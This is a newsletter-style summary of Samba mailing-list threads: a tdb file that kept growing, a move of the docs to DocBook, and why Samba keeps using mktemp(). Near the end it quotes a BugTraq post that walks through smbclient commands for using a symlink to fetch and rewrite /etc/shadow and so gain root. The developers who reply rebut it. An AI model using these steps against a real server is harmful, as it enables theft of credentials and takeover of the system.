Want to help write KC Samba? See the KC Authorship page, the KC Samba homepage, and the Thread Summary FAQ. Send any questions to the KCDevel mailing list.
Richard Bollinger posted the following:
Contrary to prior messages regarding the unbounded growth of "unexpected.tdb", it is _not_ growing to a high water mark. A quick dump of the file running on our test Solaris server shows its full of "dead" entries, not freed ones. tdbutil shows nothing on the "free list". Identical results are showing on our Linux server.
Something is going wrong in the process which is prunes out old entries, preventing them from being freed in clear_unexpected() -> traverse_fn () -> tdb_delete() -> do_delete() . The code in do_delete() checks to see if someone is traversing that record (apparently always true in this instance) and marks it "dead" rather than really deleting the entry. Thus the file grows indefinitely. Someone who understand the tdb logic may offer a simple cure?
Jeremy Allison thanked Richard for his report and said he would work on it ASAP . Later, he came back with:
I've finally fixed this (it took a while :-). Please check out the CVS and try again.
Thanks for reporting this one !
Richard replied this change had fixed his problems.
on samba-docs, James Moore noticed there had been very little traffic on
that list since he'd joined a week before, and volunteered to help with the
DocBook translation. He suggested, I can set up a
self contained manual with everything we will need so the docs can just be
built using: autoconf, ./configure, make <doc_type>.
Gerald
Carter was happy to find a new interested volunteer, and replied regarding
James' suggestion:
I like this. David Bannon has been working on converting a HOWTO and FAQ over to DocBook/SGML. These have been sort of a proof of concept.
David, How does this sound to you? No more checking in HTML and Text versions. Only SGML files with the real docs built by users and/or vendors?
After a bit more discussion Gerald and James agreed to speak some more offline and possibly set it up.
Christopher Klein posted a question about a warning he was seeing. He
said, I am trying to install samba on an ftp
server running freebsd 4.1 I am getting the following warning repeated many
times on the initial make ... Warning: mktemp() possibly used unsafely;
consider using mkstemp.
Jeremy Allison replied:
The warning is wrong. mktemp is being used securely in Samba.
Every use of the generated filename uses the O_EXCL flag, which prevents /tmp races.
mkstemp doesn't do what we need here, as it returns a file descriptor which is not what we want - we want a filename that is *potentially* unique. We take care of the security issue ourselves.
Tim Potter posted a clarification:
Well the warning is technically right - mktmp() may *possibly* be used unsafely but it isn't in this case. (-:
It's a pretty annoying error though. I wonder if it's possible to patch gcc to determine whether the O_EXCL flag is not being used and then print out the warning rather than always doing it.
This started a discussion about how this is checked and what proof there
is that the code is in fact correct and the need to call an external mktmp()
function as smbd_mktemp() is doing similar work. Jeremy Allison said,
What I meant is that we grep for *every* use
of open/fopen and check that it cannot be used for mktemp races. It's not
so difficult.
Kenichi Okuyama replied to Jeremy, Ah... Jeremy. "It's not so difficult" is quite different from
"It'll never be difficult". I'm sure that you can do this work in very good
quality. But still, we have chance of sneeking the problem into the samba
code. And there is chance that you might miss the change.
Also durring the discussion Kenichi Okuyama gave the list this piece of Japanese folk lore:
[Binbou-Gami]: In Japan, there's said to be 8 Million Gods. In those god, there's god name 'Binbou-Gami', he's god of poverty.
What's so great about him, is that he can eat up entire resource of any kind, no matter how you may earn it. Even if other GOD tries to generate infinit resource, Binbou-Gami can waste all the resources instantly. He's one of the strongest God of all 8Millions.
So, if you believe in 'Binbou-Gami's existance, you should not think about infinite resource, never. If you think there's no such a god, .... well .... look at your wallet (^^;)
Steve Langasek added, Despite disagreeing with you about the divine nature of the Samba project
leaders :), it seems to me that pulling the mktemp code entirely into Samba
would be a good idea. There's enough variation in the mktemp(), mkstemp(),
tmpnam(), etc. functions available on different Unices, and it's simple enough
to reimplement correctly, that it might just reduce the Samba code size to do
it all internally.
Jeremy Allison replied that it sounded like a good idea and asked for volunteers.
Andrew Tridgell posted his thoughts on this issue:
We continue to use mktemp() because the alternatives are worse.
If we switched to using something based on mkstemp() then we would actually open up a security hole! That is because some platforms open the file in mkstemp() with permissions of 0666, which allows an attacker to modify the file contents. That's why recent Linux man pages recommend NOT using mkstemp() and instead using tmpfile().
So now of couse people will ask why we don't use tmpfile(). We don't because it is fundamentally broken as it uses a FILE* pointer. On some major platforms FILE* is limited to 8 bit file descriptors which means tmpfile() would fail when Samba has more than 255 files open. Not good.
Despite the stupid compiler warnings mktemp() (when used properly) is the most secure option available. When something better comes along we can consider using it, but meanwhile just put up with the stupid compiler warnings.
Kenichi Okuyama felt that Andrew's statements reinforced the need to write a samba version of this libary call. Robert Dahlem noted that there might be a memory leak in Kenichi contribution. There where no further post to this thread.
Scott Gifford forwarded a post from BugTraq:
Requirements:
- Shell access or any other way to create symlinks
- A running samba deamon
- The username and/or password of a user named in the admin lists in one or more shares.
- Brains are not required.
By default, Samba (http://www.samba.org) followes symlinks, which can lead to root promises. Here is an example:
I have a guy that sorts out all my uploads through SMB, he has 'admin' access (admin users = username).. This means he will work as UID 0 (root).
e.g. we have this share in /etc/smb.conf
[uploads]
path = /home/ftp/incoming
comment = Uploads that came through anon ftp
guest ok = no
writeable = no
force create mode = 0755
force directory mode = 0755
admin users = warezmasterLogin to the shell, or find some other way to create symlinks and create a symlink in /home/ftp/incoming you do something like
ln /etc -s
now type on you're box (local or remote works both): smbclient file://foobar.com/uploads -U warezmaster it will ask for a password, enter it and you will get something like
smb\:>
There we go
smb\:>cd etc
smb\:>get shadow
smb\:>exit
[root@embrace /root]
now you downloaded the shadow file on you're localbox edit it, change you're UID to 0, or remove the password from the root account (no password required at logon)login with smbclient again
smbclient file://foobar.com/uploads -U warezmaster enter the password
and reupload
smb\:>cd etc
smb\:>put shadow
smb\:>exitthat's it, now login to the shell, if you changed you're own uid you are now root. If you removed the password from root account just su to it and you wont need a password.
Note:
The 'Follow Symlinks' can be turned off, but it's on by default.
Fix:
Disable Follow Symlinks
Scott gave his take, saying:
I don't think that this "attack" is particularly surprising. Basically, he is leveraging a Samba "admin user" account into a UNIX root account, using a symlink (created from a shell) to get outside of the share.
It seems to me like a "leveraging root to get root" attack, but I guess if somebody had fileserver admins that were less trusted than their UNIX admins, it could be an issue.
Jeremy Allison replied:
Crackers must be getting desparate if they post this kind of stuff. If you've got an admin user account you are already root - why bother with all this pathetic stuff - just copy a /bin/sh onto the share, logon locally and run it from there.
Sometimes I wonder about these people. Don't they realise there are more creative things to do than re-arranging bits on a disk when you already have root permission :-).
Robert Dahlem added with disdain:
Too much twits on bugtraq. :-(
man smb.conf reveals (to everyones surprise):
admin users (S)
This is a list of users who will be granted administrative privileges on the share. This means that they will do all file operations as the super-user (root).
You should use this option very carefully, as any user in this list will be able to do anything they like on the share, irrespective of file permissions.
I stopped reading bugtraq a while ago. Every second script kid thinks he were Guninski.